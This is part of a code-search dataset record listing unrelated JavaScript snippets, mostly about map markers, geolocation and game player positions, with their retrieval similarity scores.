}\",\n \"function getloc()\\n{\\n\\n\\tvar latlng = new google.maps.LatLng(shuttle.position.latitude, shuttle.position.longitude);\\n geocoder.geocode({ latLng: latlng }, function(results, status){\\n\\t\\tfor(ac in results[0].address_components)\\n\\t\\t{\\n\\t\\t\\t//console.log(results[0].address_components[ac].types);\\n\\t\\t\\tif(results[0].address_components[ac].types == \\\"route\\\")\\n\\t\\t\\t{\\n\\t\\t\\t\\t$(\\\"#currentstreet\\\").html(\\\"Street name: \\\" + results[0].address_components[ac].long_name);\\n\\t\\t\\t}\\n\\t\\t}\\n });\\n\\n\\n}\",\n \"get(name){\\n let gameId = this.list.findIndex(i => i.getName() === name.toLowerCase());\\n return this.list[gameId];\\n }\",\n \"function addMarker(map,info_friend,info_bulle){\\n var marker = new google.maps.Marker({\\n position: new google.maps.LatLng(info_friend.lat, info_friend.lng),\\n label: \\\"\\\" + info_friend.name,\\n map: map,\\n title : \\\"Location of \\\" + info_friend.name\\n });\\n\\n marker.addListener('click', function() {\\n info_bulle.open(map, marker);\\n });\\n return marker;\\n}\",\n \"function getInfo (name) {\\n\\tconsole.log(name);\\n\\tconst playerId = name.accountId;\\n\\tconsole.log(`Account ID: ${playerId}`);\\n\\tconst playerName = name.name;\\n\\tconsole.log(`Player name: ${playerName}`);\\n\\tconst summonerLevel = name.summonerLevel;\\n\\tconsole.log(`Player Level: ${summonerLevel}`);\\n\\tconst profileIcon = name.profileIconId;\\n\\tconsole.log(`Icon number: ${profileIcon}`);\\n\\trenderName(playerName, summonerLevel, profileIcon);\\n\\t$('.matches').html(`

    ${playerName}'s last 3 matches`);\\n\\tgetRecentMatches(playerId, getMatchList);\\n}\",\n \"function positionOf(symb, someBoard, player) {\\n\\n\\t//print_board(someBoard);\\n\\n\\tvar tempSq = {};\\n\\n\\tfor ( var a = 0; a <= 11; a++) {\\n\\t\\tfor (var b = 0; b <= 11; b++) {\\n\\n\\t\\t\\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\\n\\n\\t\\t\\t\\ttempSq.row = a;\\n\\t\\t\\t\\ttempSq.col = b;\\n\\t\\t\\t\\treturn tempSq;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function findMarkerIndex(name) {\\n //name 'SFO - San Fr...'\\n return markers.findIndex(function (m) {\\n return m.title === name;\\n });\\n}\",\n \"createPlayer() {\\n let startWithBob = true;\\n this.map.findObject('Player', (obj) => {\\n if (obj.type === 'StartPosition') {\\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\\n if (obj.name === 'Bob') {\\n this.bob = new Bob(this, obj.x, obj.y);\\n this.bob.depth = 100;\\n this.game.Bob = this.bob;\\n }\\n if (obj.name === 'Flit') {\\n this.flit = new Flit(this, obj.x, obj.y);\\n this.flit.depth = 100;\\n this.game.Flit = this.flit;\\n }\\n }\\n });\\n\\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\\n this.cameras.main.startFollow(this.ActivePlayer);\\n }\",\n \"getNewPosition() {\\r\\n this.newPosition = this.positionRandom();\\r\\n // Cree une fonction qui test avec marge les nouvelle position des bombs\\r\\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \\r\\n return this.newPosition;\\r\\n }\",\n \"function prepEventMarker(){\\n\\tvar eventDetails = getEventData();\\n\\tvar location = eventDetails[0];\\n\\tvar title = eventDetails[1];\\n\\n\\t//We need to be careful with the location. When we store it, the location name usually comes before the address\\n\\t//ie Vancouver Pizza: 225 Main St.\\n\\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\\n\\tif(locationSplit.length>1){ //The name was in there\\n\\t\\tlocation = locationSplit[1]; //Set the location to just the address\\n\\t}\\n\\n\\tconsole.log('Initing with: Title: ' + title + \\\" Loc: \\\" + location);\\n\\tinitEventData(title, location);\\n}\",\n \"function winnerName() {\\n if(winnerAddress === myAddress) {\\n return \\\"Me\\\";\\n }\\n if(winnerAddress === oppAddress) {\\n return \\\"Opponent\\\";\\n }\\n }\",\n \"function place(name, address, road){\\n this.name = name;\\n this.address = address;\\n this.road = road;\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n if (this.name == 'ctg'){\\n this.name = 'Chittagong';\\n }\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n}\",\n \"function reportPosition() {\\n var p = distanceWidget.get('position'),\\n d = distanceWidget.get('distance'),\\n name = $('input[name=name]');\\n \\n socket.send(JSON.stringify({\\n 'action': 'update position',\\n 'lat': p.lat(), \\n 'lng': p.lng(), \\n 'distance': d, \\n 'name': name.val() \\n }));\\n}\",\n \"function mainMarker(x,y,name,i) {\\n \\n \\n var marker = new google.maps.Marker({\\n position: {lat: x, lng: y},\\n map: map,\\n label:(++i).toString(), \\n \\n title: name\\n });\\n markerArray.push(marker);\\n }\",\n \"function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\\n{\\n if (playerId == -1)\\n return true;\\n\\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\\n return true;\\n else\\n return false;\\n}\",\n \"function emitBeaconUpdate(id) {\\n var ship = ships.shipGet(id)\\n var out = {};\\n\\n out[id] = ship.spawnPoint;\\n\\n io.sockets.emit('shipbeaconstat', out);\\n}\",\n \"function addSugar(name, x, y) {\\n\\tlocs.push([x, y]);\\n\\tnames.push(name);\\n}\",\n \"function getSpawnPosition(source) {\\n var positions = getSamplePositions(source.room, source.pos, 5),\\n closest;\\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\\n closest = source.pos.findClosestByPath(positions);\\n return closest;\\n}\",\n \"function createBeacon() {\\n\\n // throws an error if the parameters are not valid\\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\\n\\n return beaconRegion; \\n}\",\n \"function searchGameRoom(gamerooms,name){\\n\\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\\n\\t\\tif(gamerooms[i].name === name){\\n\\t\\t\\treturn i;\\n\\t\\t}\\n\\t}\\n\\treturn -1;\\n}\",\n \"function findPlate(plate_name) {\\n for(i = 0; i < ordered_plates.length; i++) {\\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\\n return ordered_plates[i];\\n }\\n }\\n }\",\n \"@wire(getRecord, { recordId: '$recordId', fields })\\n loadBear({ error, data}){\\n if(error){\\n //Handle error\\n } else if (data){\\n //Get bear Data\\n this.name = data.fields.Name.value;\\n const Latitude = data.fields.Location__Latitude__s.value;\\n const Longitude = data.fields.Location__Longitude__s.value;\\n //Transformar bear data en map markers\\n this.mapMarkers = [{\\n location: {Latitude, Longitude},\\n title: this.name,\\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\\n }];\\n }\\n }\",\n \"function getSummonerName(){\\n\\n}\",\n \"findClosest(mapItem) {\\n let closestNames = [];\\n\\n this.state.mapTextItems.forEach(mapTextItem => {\\n if (mapItem.regionId === mapTextItem.regionId) {\\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\\n closestNames.push({ text: mapTextItem.text, distance: distance });\\n }\\n });\\n\\n closestNames.sort(this.compare);\\n return closestNames[0].text;\\n }\",\n \"if(snakes[1].loc.dist(food.loc) === 0){\\n food.pickLoc();\\n snakes[1].addSegment();\\n\\n}\",\n \"function findVertex(name) {\\n\\t\\tvar objects = alasql.databases[alasql.useid].objects;\\n\\t\\tfor(var k in objects) {\\n\\t\\t\\tif(objects[k].name === name) {\\n\\t\\t\\t\\treturn objects[k];\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn undefined;\\n\\t}\",\n \"map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function animatePoint(name) {\\n for (let item in points){\\n if (points[item].title == name) {\\n points[item].setAnimation(google.maps.Animation.BOUNCE);\\n showForsquareInfo(\\n points[item].getPosition().lat(),\\n points[item].getPosition().lng(),\\n points[item].getTitle()\\n );\\n //Makes the marker bounce only once\\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\\n }\\n }\\n}\",\n \"function place_player()\\n{\\n\\tvar col;\\n\\tvar row;\\n\\t\\n\\tswitch(player_number)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 19;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 21;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tcol = 29;\\n\\t\\t\\trow = 19;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tcol = 27;\\n\\t\\t\\trow = 21;\\n\\t\\t\\tbreak;\\n\\t}\\n\\t\\n\\tvar player_text = Crafty.e(\\\"2D, DOM, Text\\\")\\n\\t\\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\\n\\t\\t.textColor('#FFFFFF')\\n\\t\\t.text(list_of_users[player_number]);\\n\\t\\t\\n\\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\\n}\",\n \"function itemByName (name) {\\n return bot.inventory.items().filter(item => item.name === name)[0]\\n}\",\n \"function findMarker(buffer, position) {\\n var index;\\n for (index = position; index < buffer.length; index++) {\\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\\n return index;\\n }\\n return -1;\\n}\",\n \"who(currentPlayer, channel){\\n let map = this.maps[currentPlayer.position]\\n let nearbyPlayers = new Array()\\n this.players.forEach(player => {\\n if(player !== currentPlayer && player.position === currentPlayer.position){\\n nearbyPlayers.push(player)\\n }\\n })\\n return nearbyPlayers\\n }\",\n \"function addmarkerforpeaks() {\\n for (var i = 0; i < snowCaps.peaks.length; i++) {\\n // Get the position from the location array.\\n var position = snowCaps.peaks[i].position;\\n var title = snowCaps.peaks[i].name;\\n //console.log(title,position);\\n // Create a marker per location, and put into markers array.\\n var marker = new google.maps.Marker({\\n position: position,\\n title: title,\\n map: map,\\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\\n animation: google.maps.Animation.DROP,\\n });\\n // Push the marker to our array of markers.\\n markers.push(marker);\\n }\\n}\",\n \"function getPosFinder(pos){\\n var posFinder = balloonpositionsarray[0].find(function(element) {\\n return element == pos;\\n });\\n\\n return posFinder;\\n }\",\n \"function locationName () {\\n place.className = 'current-location';\\n document.getElementsByTagName('body')[0].appendChild(place);\\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\\n // check for errors and using previous manual location\\n if (usingPrevious) {\\n changeLink.innerText = 'change';\\n changeLink.href = '#';\\n changeLink.className = 'last-known';\\n changeLink.addEventListener('click', function (e) {\\n e.preventDefault();\\n Tab.changeLocation();\\n });\\n place.innerHTML = loc.formatted_address +\\n 'Using last known location ';\\n place.appendChild(changeLink);\\n // console.log(changeLink)\\n // TODO: add change location here\\n } else {\\n place.innerHTML = loc.formatted_address;\\n }\\n }\",\n \"function collectPlayer(name) {\\n if (name === game.players[game.turn].name) {\\n setDrawer(game);\\n } \\n else {\\n setGuesser(name);\\n }\\n \\n }\",\n \"born(x, y) {\\n let l = createVector(x, y);\\n let dna = new DNA();\\n let name = this.makeid(8);\\n console.log(name);\\n this.creatures.push(new Creature(l, dna, name));\\n }\",\n \"try_to_match_local(data_received){\\n\\t\\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\\n\\t\\tsend_msg(data)\\n\\t}\",\n \"function CurrentLocation() {\\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \\\"Current Location\\\");\\n }\",\n \"function getKey_(position) \\n{\\n return \\\"key-\\\"+ OsmMaps.position.coords.latitude.toFixed(4) + \\\"-\\\" + OsmMaps.position.coords.longitude.toFixed(4);\\n}\",\n \"function markerPosition(position)\\n{\\n\\tvar id = $('#'+position);\\n\\tif(turno)\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoA;\\n\\t\\t\\tnumJugadas1++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov1').text(numJugadas1);\\n\\t\\t\\tturno=false;\\n\\t\\t\\tif(isChampion(llenoA))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador1\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas', numJugadas1);\\n\\n\\t \\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador1\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoB;\\n\\t\\t\\tnumJugadas2++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov2').text(numJugadas2);\\n\\t\\t\\tturno=true;\\n\\t\\t\\tif(isChampion(llenoB))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador1\\\").val());\\n\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas',numJugadas2);\\n\\t\\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador2\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"function insertName1(){\\n let playerSpan1 = $(`.Player1`)\\n let playerInput1 = $(`input.button1`)\\n \\n playerInput1.on(`input`,function(){\\n gameState.playerNames[0] = ($(this).val())\\n playerSpan1.text(gameState.playerNames[0])\\n return playerSpan1\\n })\\n}\",\n \"function Start () {\\n\\tUpperLaser = GameObject.Find(\\\"MapScript\\\");\\n\\t//LowerLaser = GameObject.Find(\\\"MapScript02\\\");\\n\\tFlameThrower = GameObject.Find(\\\"FlameThrower\\\");\\n\\tBeam = GameObject.Find(\\\"MapScriptB\\\");\\n\\tTrapSpawn = GameObject.Find(\\\"TrapSpawn\\\");\\n\\t//Saw = GameObject.Find(\\\"ChainSaw\\\");\\n}\",\n \"openInfoWindow(marker, longName) {\\n this.closeInfoWindow();\\n this.state.infowindow.open(this.state.map, marker);\\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\\n this.setState({\\n 'prevmarker': marker\\n });\\n this.state.infowindow.setContent('Loading Data...');\\n this.state.map.setCenter(marker.getPosition());\\n this.state.map.panBy(0, -150);\\n if(longName.includes(\\\"Eric\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\\n }\\n if (longName.includes(\\\"Violet\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\\n }\\n else{\\n this.getMarkerInfo(marker, longName);\\n }\\n }\",\n \"function dropMarker(a, b, courtname){\\n\\tvar lat = a;\\n\\tvar lon = b;\\n\\tmyLatlng = new google.maps.LatLng(lat, lon);\\n\\tvar marker = new google.maps.Marker({\\n\\t\\tposition: myLatlng,\\n\\t\\tmap: map,\\n\\t\\ttitle: courtname\\n\\t});\\n\\tmarker.setMap(map);\\n}\",\n \"function geocodeCords(positionObject) {\\n var geocoder = new google.maps.Geocoder;\\n posLat = positionObject.lat;\\n posLng = positionObject.lng;\\n cordsPos = posLat + \\\", \\\" + posLng;\\n // cordsPos = positionObject;\\n geocoder.geocode({'location': positionObject}, function (results, status) {\\n if (status === 'OK') {\\n if (results[1]) {\\n namePos = (results[1].formatted_address);\\n locationInput.value = namePos;\\n addMarker(positionObject);\\n } else {\\n window.alert('No results found');\\n }\\n } else {\\n window.alert('Geocoder failed due to: ' + status);\\n }\\n });\\n }\",\n \"function zControlBattleMapFollowGamer(position)\\n{\\n zObjectBattleMapLatLng[\\\"gamrLat\\\"] = position.coords.latitude;\\n zObjectBattleMapLatLng[\\\"gamrLng\\\"] = position.coords.longitude;\\n \\n document.getElementById(\\\"map-info-crnt\\\").innerHTML = \\\"CRNT_LAT :{\\\" + zObjectBattleMapLatLng[\\\"crntLat\\\"] + \\\"}:CRNT_LNG :{\\\" + zObjectBattleMapLatLng[\\\"crntLng\\\"] + \\\"}:\\\";\\n document.getElementById(\\\"map-info-gamr\\\").innerHTML = \\\"GAMR_LAT:{\\\" + zObjectBattleMapLatLng[\\\"gamrLat\\\"] + \\\"}:GAMR_LNG:{\\\" + zObjectBattleMapLatLng[\\\"gamrLng\\\"] + \\\"}:\\\";\\n var date = new Date();\\n document.getElementById(\\\"map-info-date\\\").innerHTML = \\\"DATE_TIME:{\\\" + date.getTime() + \\\"}:\\\";\\n \\n if(zObjectBattleMapLatLng[\\\"crntLat\\\"] != zObjectBattleMapLatLng[\\\"gamrLat\\\"]\\n || zObjectBattleMapLatLng[\\\"crntLng\\\"] != zObjectBattleMapLatLng[\\\"gamrLng\\\"])\\n {\\n zObjectBattleMapGamer.setMap(null);\\n \\n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\\\"gamrLat\\\"], zObjectBattleMapLatLng[\\\"gamrLng\\\"]);\\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\\n \\n zObjectBattleMapGamer = new google.maps.Marker(\\n {\\n position: zObjectBattleMapCenterLatLng,\\n map: zObjectBattleMap,\\n title: 'Hello World!'\\n });\\n \\n zObjectBattleMapLatLng[\\\"crntLat\\\"] = zObjectBattleMapLatLng[\\\"gamrLat\\\"];\\n zObjectBattleMapLatLng[\\\"crntLng\\\"] = zObjectBattleMapLatLng[\\\"gamrLng\\\"];\\n }\\n \\n zControlHazardDistancetoGamer();\\n \\n zControlGamerMapStatus({\\n\\t code: 0, \\n\\t message: \\\"Good Map Status\\\",\\n \\ttimeofcoords: position.timestamp,\\n \\tmethod: \\\"zControlBattleMapFollowGamer\\\"\\n\\t});\\n}\",\n \"function updateName1OnDOM() {\\n db.ref('Names/player1').once('value', function (snapshot) {\\n name = snapshot.val();\\n if (name !== null) {\\n var a = $('

    ').html(name).addClass('center-block');\\n $('.player1-name').empty().append(a);\\n }\\n });\\n }\",\n \"function quickBooking(){\\n var closest_restaurant;\\n\\n // Try HTML5 geolocation.\\n if (navigator.geolocation) {\\n navigator.geolocation.getCurrentPosition(function(position) {\\n user_position = {\\n lat: position.coords.latitude,\\n lng: position.coords.longitude\\n };\\n }, \\n function() {\\n handleLocationError(true, infoWindow, map.getCenter());\\n });\\n } else {\\n\\n // Browser doesn't support Geolocation\\n handleLocationError(false, infoWindow, map.getCenter());\\n }\\n\\n // looks up restaurant coordinates in database and puts them in coordinateLookups callback variable.\\n coordinateLookup(function(coordinateLookups){\\n\\n // create object containing users coords for comparison\\n var origin = new google.maps.LatLng(user_position.lat,user_position.lng);\\n\\n // creates marker for each address in list of restaurant coordinates(coordinateLookups)\\n // coordinateLookups also contains restaurant name\\n coordinateLookups.forEach(function(lookup,element){\\n\\n // create object containing restaurantscoordinates for comparison\\n var restaurant_location = new google.maps.LatLng(lookup.Longitude, lookup.Latitude);\\n\\n // if closest rstaurant to unser update closestRestaurant\\n if (closestRestaurant(restaurant_location, origin)) {\\n\\n // updates the vueInstance variable of closestRestaurant\\n vueInstance.closestRestaurant = lookup.Name;\\n }\\n }); \\n\\t\\t \\n\\t // add booking to database (fuct. from entiresite.js)\\n\\t makeBooking('Quick');\\n });\\n }\",\n \"spawnPlayer() {\\n return this._getLocationInArea('player_spawn')\\n }\",\n \"function bmap(name,latt,long){\\r\\n if ((typeof latt==='undefined') || (typeof long==='undefined')) {return name;}\\r\\n return my_href(\\\"http://api.map.baidu.com/marker?location=\\\"+latt.toString()+\\\"%2C\\\"+long.toString()+\\\"&output=html&coord_type=gcj02&title=\\\"+name,name,\\\"bmap\\\");\\r\\n }\",\n \"function placeBid(string name, uint bid) payable {\\n\\n if (now-createdAt < duration){\\n\\n if (bid => highBidder){ // Consider the case when there is no bid ???\\n highBidder = msg.sender; // ??\\n // push bidder where bidder[i].bidder (address)\\n bidders.push(msg.sender);\\n HighBidChanged(msg.sender, name, bid);\\n // biddersMapping[msg.sender].name = name;\\n // biddersMapping[msg.sender].bidder = msg.sender; // address\\n // biddersMapping[msg.sender].bid = bid;\\n // biddersMapping[msg.sender].claimedEthers = false; // at the end of the bidding\\n }\\n } else {\\n BidFailed (msg.value, name, bid )\\n throw;\\n }\\n\\n }\",\n \"function getAsteroidTarget(spawnLocation) {\\n var closest = [0,0,0];\\n var dist = 100;\\n var temp = 0;\\n for (t in station_centers) {\\n temp = vec3.length(vec3.subtract(vec3.create(), vec3.fromValues(station_centers[t][0], station_centers[t][1],\\n station_centers[t][2]), vec3.fromValues(spawnLocation[0], spawnLocation[1], spawnLocation[2])));\\n if (temp < dist) {\\n dist = temp;\\n closest = station_centers[t];\\n }\\n }\\n return closest;\\n}\",\n \"get boatName() { \\n return getFieldValue(this.wiredRecord.data, BOAT_NAME_FIELD);\\n }\",\n \"function makeMarker(position, icon, name) {\\n new google.maps.Marker({\\n position: position,\\n map: gmap,\\n icon: icon,\\n title: name\\n });\\n}\",\n \"function findOrigin(element) {\\n if (element === startStation){\\n return element\\n }\\n}\",\n \"getAddressField(telegram) {\\n let values = telegram.getValues();\\n\\n return values.has('BLOCK1_A') ?\\n values.get('BLOCK1_A') : null;\\n }\",\n \"function getPosition(letra){\\n let position = abd.indexOf(letra);\\n return position;\\n}\",\n \"function findForChar(val)\\n{\\n\\n \\n listTitle=[];\\n listCoord=[];\\n let flag = false;\\n for(let x=0; x-1)\\n {\\n listTitle[x]=locationTitle[x]; \\n listCoord[x]=locationCoord[x];\\n flag=true; \\n }\\n }\\n \\n}\",\n \"function getMockup(e, positionInfo) {\\n return { \\n index: e.index,\\n name: e.label, \\n x: rounder(e.x),\\n y: rounder(e.y),\\n color: e.color,\\n shape: e.shape,\\n size: rounder(e.size),\\n realSize: rounder(e.realSize),\\n facing: rounder(e.facing),\\n layer: e.layer,\\n statnames: e.settings.skillNames,\\n position: positionInfo,\\n guns: e.guns.map(function(gun) {\\n return {\\n offset: rounder(gun.offset),\\n direction: rounder(gun.direction),\\n length: rounder(gun.length),\\n width: rounder(gun.width),\\n aspect: rounder(gun.aspect),\\n angle: rounder(gun.angle),\\n };\\n }),\\n turrets: e.turrets.map(function(t) { \\n let out = getMockup(t, {});\\n out.sizeFactor = rounder(t.bound.size);\\n out.offset = rounder(t.bound.offset);\\n out.direction = rounder(t.bound.direction);\\n out.layer = rounder(t.bound.layer);\\n out.angle = rounder(t.bound.angle);\\n return out;\\n }),\\n };\\n }\",\n \"findTypedLetterByPosition(position) {\\n let result = this.typedLetters.find(typedLetter => {\\n return typedLetter.position.x === position.x && typedLetter.position.y === position.y;\\n });\\n\\n if (typeof result === 'undefined') {\\n result = null;\\n }\\n\\n return result;\\n }\",\n \"function insertMarkerToDB(location, name) {\\n $.ajax({\\n type: 'GET',\\n url: '/MapPoint/create.json',\\n data: {\\n latitude: location.lat,\\n longitude: location.lng,\\n name: name\\n },\\n success: function(data) {\\n //console.log('RESULT: ' + JSON.stringify(data));\\n }\\n });\\n }\",\n \"function getParticipantObjByName(match, name) {\\n var participants = match['participants'];\\n var pids = match['participantIdentities'];\\n var pid = -1;\\n for(i = 0; i < pids.length; i++) {\\n if(pids[i]['player']['summonerName'] == name) {\\n pid = pids[i]['participantId'];\\n break;\\n }\\n }\\n return participants[pid-1];\\n}\",\n \"function createMarker(r){\\n self.showDiv(true);\\n var position, lat, lng;\\n lat = parseFloat(r.location.latitude);\\n lng = parseFloat(r.location.longitude);\\n position = new google.maps.LatLng(lat, lng);\\n /*if(placeBounds.contains(position))\\n {*/\\n var marker = new google.maps.Marker({\\n map: map,\\n position: position,\\n title: r.name,\\n animation: google.maps.Animation.DROP,\\n });\\n bounds.extend(marker.getPosition());\\n\\n\\n var contentString = '
    ' +\\n '' +\\n '

    ' + r.name + '

    ' +\\n '

    ' + r.location.address + '

    ' +\\n '

    Average cost for two: $' +\\n r.average_cost_for_two + '

    ' +\\n '

    Rating: ' +\\n r.user_rating.aggregate_rating + '

    ' +\\n '' + 'Menu Url';\\n var address = r.location.address;\\n\\n var newMarker = {marker:marker, content:contentString};\\n\\n // Create an onclick event to open an infowindow at each marker.\\n marker.addListener('click', function() {\\n hideAnimation();\\n marker.setAnimation(google.maps.Animation.BOUNCE);\\n populateInfoWindow(this, largeInfowindow, contentString);\\n });\\n return newMarker;\\n //}\\n } // end of createMarker\",\n \"function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\\n{\\n model.player1.name=value;\\n var index = model.winners.find(winners => winners.name == value)\\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\\n}\",\n \"function onLocationFound(location){\\n\\n\\t// Update the model with the coordinate pair for use later.\\n\\tapp.position = location;\\n\\n\\t// If successful, find all nearby brunch locations at those coordinates.\\n findNearbyBrunchLocations(location.coords);\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55945784","0.55155414","0.5372061","0.53548574","0.52936345","0.5292482","0.52400655","0.52102","0.5159438","0.51353896","0.51154304","0.5113312","0.51111436","0.5110201","0.5109417","0.5098488","0.50911343","0.50832295","0.5079928","0.5076207","0.5045602","0.5038288","0.5030733","0.50182706","0.5015086","0.50018305","0.4996816","0.49821067","0.49794316","0.49780127","0.49687204","0.49633983","0.49513766","0.49499455","0.49455753","0.49244434","0.49115518","0.48922718","0.48646355","0.48593962","0.48577052","0.4855432","0.4838728","0.4838031","0.4825128","0.48249486","0.48244342","0.48162448","0.48043308","0.48003414","0.47997946","0.4796625","0.47905025","0.47849536","0.47799447","0.47776455","0.4755562","0.47546393","0.47448108","0.4740631","0.4735003","0.47313973","0.47295067","0.47244897","0.47141165","0.47077686","0.47056884","0.47052172","0.47045252","0.47029313","0.47026756","0.46973765","0.46937048","0.46884277","0.4683101","0.46794215","0.46791098","0.46743","0.46722734","0.4670856","0.46664122","0.46619037","0.46610492","0.46557167","0.46547738","0.46544635","0.46508488","0.46502376","0.46471956","0.46467066","0.464512","0.4644591","0.46438715","0.46402332","0.46384144","0.46374774","0.46294704","0.4627889","0.46241114","0.46236378"],"string":"[\n \"0.55945784\",\n \"0.55155414\",\n \"0.5372061\",\n \"0.53548574\",\n \"0.52936345\",\n \"0.5292482\",\n \"0.52400655\",\n \"0.52102\",\n \"0.5159438\",\n \"0.51353896\",\n \"0.51154304\",\n \"0.5113312\",\n \"0.51111436\",\n \"0.5110201\",\n \"0.5109417\",\n \"0.5098488\",\n \"0.50911343\",\n \"0.50832295\",\n \"0.5079928\",\n \"0.5076207\",\n \"0.5045602\",\n \"0.5038288\",\n \"0.5030733\",\n \"0.50182706\",\n \"0.5015086\",\n \"0.50018305\",\n \"0.4996816\",\n \"0.49821067\",\n \"0.49794316\",\n \"0.49780127\",\n \"0.49687204\",\n \"0.49633983\",\n \"0.49513766\",\n \"0.49499455\",\n \"0.49455753\",\n \"0.49244434\",\n \"0.49115518\",\n \"0.48922718\",\n \"0.48646355\",\n \"0.48593962\",\n \"0.48577052\",\n \"0.4855432\",\n \"0.4838728\",\n \"0.4838031\",\n \"0.4825128\",\n \"0.48249486\",\n \"0.48244342\",\n \"0.48162448\",\n \"0.48043308\",\n \"0.48003414\",\n \"0.47997946\",\n \"0.4796625\",\n \"0.47905025\",\n \"0.47849536\",\n \"0.47799447\",\n \"0.47776455\",\n \"0.4755562\",\n \"0.47546393\",\n \"0.47448108\",\n \"0.4740631\",\n \"0.4735003\",\n \"0.47313973\",\n \"0.47295067\",\n \"0.47244897\",\n \"0.47141165\",\n \"0.47077686\",\n \"0.47056884\",\n \"0.47052172\",\n \"0.47045252\",\n \"0.47029313\",\n \"0.47026756\",\n \"0.46973765\",\n \"0.46937048\",\n \"0.46884277\",\n \"0.4683101\",\n \"0.46794215\",\n \"0.46791098\",\n \"0.46743\",\n \"0.46722734\",\n \"0.4670856\",\n \"0.46664122\",\n \"0.46619037\",\n \"0.46610492\",\n \"0.46557167\",\n \"0.46547738\",\n \"0.46544635\",\n \"0.46508488\",\n \"0.46502376\",\n \"0.46471956\",\n \"0.46467066\",\n \"0.464512\",\n \"0.4644591\",\n \"0.46438715\",\n \"0.46402332\",\n 